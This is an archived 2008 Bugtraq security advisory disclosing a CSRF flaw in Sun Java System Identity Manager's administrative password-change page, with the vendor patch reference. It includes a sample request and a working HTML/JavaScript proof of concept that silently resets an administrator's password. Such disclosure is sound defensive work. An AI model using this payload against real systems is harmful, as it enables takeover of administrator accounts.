lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <4923FE07.4040003@procheckup.com>
Date: Wed, 19 Nov 2008 11:52:39 +0000
From: ProCheckUp Research <research@...checkup.com>
To: <bugtraq@...urityfocus.com>
Subject: PR07-11: Cross-site Request Forgery (CSRF) on Sun Java System Identity
 Manager

PR07-11: Cross-site Request Forgery (CSRF) on Sun Java System Identity
Manager

Date Found: 11th June 2007

Vendor Contacted: 18th June 2007

Date Public: 10th November 2008

Severity: Medium/High

Credits: Adrian Pastor and Jan Fry of ProCheckUp Ltd (www.procheckup.com).

ProCheckUp thanks Sun for working with us.


Description:

Sun Java System Identity Manager is vulnerable to CSRF within the
administrative "update password" feature ("/idm/admin/changeself.jsp")

The "update password" request is not tokenized using non-predictable
values. Additionally, the administrative user is *not* asked to enter
the previous password before updating it. Since the request is
completely predictable it is vulnerable to CSRF.


Consequences:

Attackers can hijack administrative accounts by convincing an
administrative user to visit a malicious HTML page while being
authenticated to Sun Java System Identity Manager.


Example of "update password" request:

POST /idm/admin/changeself.jsp HTTP/1.1
Host: target.tld
Content-Length: 181
Cookie: JSESSIONID=E291DB92432831FC109C4214D8C8C8D7

id=&command=Save&activeControl=&resourceAccounts.password=Password1&resourceAccounts.confirmPassword=Password1&resourceAccounts.currentResourceAccounts%5BLighthouse%5D.selected=true



Although the original request is submitted as a 'POST', it can be also
converted to a 'GET'. The following PoC forges the "update password"
request as a 'GET'.


Proof of concept (PoC):


<html>
<h1>CSRF attack demo - changes administrative password to 'Password19'</h1>
<script>
	var img = new Image();
	img.src =
'https://target.tld/idm/admin/changeself.jsp?id=&command=Save&activeControl=&resourceAccounts.password=Password19&resourceAccounts.confirmPassword=Password19&resourceAccounts.currentResourceAccounts%5BLighthouse%5D.selected=true';

</script>
</html>



Notes:

1. the 'resourceAccounts.currentResourceAccounts%5BLighthouse%5D'
parameter is a constant (never changes).

2. There are also other requests that are vulnerable to CSRF, but this
advisory only discusses the most interesting one (from a security point
of view).

3. This risk of this vulnerability can be mitigated by enabling
passphrase authentication on System Identity Manager. This way, users
would need to enter their username, password, and two random characters
of their secret passphrase. This means that even if the "update
password" request was successfully CSRFed, the attacker would still need
to know the victim administrator's passphrase to login.


Successfully tested on:

Server environment:

Sun Java System Identity Manager 6.0 (20061212 SP 2)
Apache-Coyote/1.1
Apache Tomcat/5.0.28

Client environment:

Microsoft Internet Explorer 7.0.5730.11

Sun has confirmed the following products to be affected by this issue:

Sun Java System Identity Manager 6.0, Sun Java System Identity Manager
7.0, Sun Java System Identity Manager 7.1


References:

http://www.sun.com/software/products/identity_mgr/index.xml
http://www.procheckup.com/Vulnerabilities


Fix:

Apply the patches released by Sun. This vulnerability has been filed as
Sun Bugzilla bug 16703.

For more information please see
http://sunsolve.sun.com/search/document.do?assetkey=1-26-243386-1


Legal:

Copyright 2008 ProCheckUp Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the
Internet community for the purpose of alerting them to problems, if and
only if the Bulletin is not changed or edited in any way, is attributed
to ProCheckUp indicating this web page URL, and provided such
reproduction and/or distribution is performed for non-commercial purposes.

Any other use of this information is prohibited. ProCheckUp is not
liable for any misuse of this information by any third party.

ProCheckUp is not responsible for the content of external Internet sites.

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ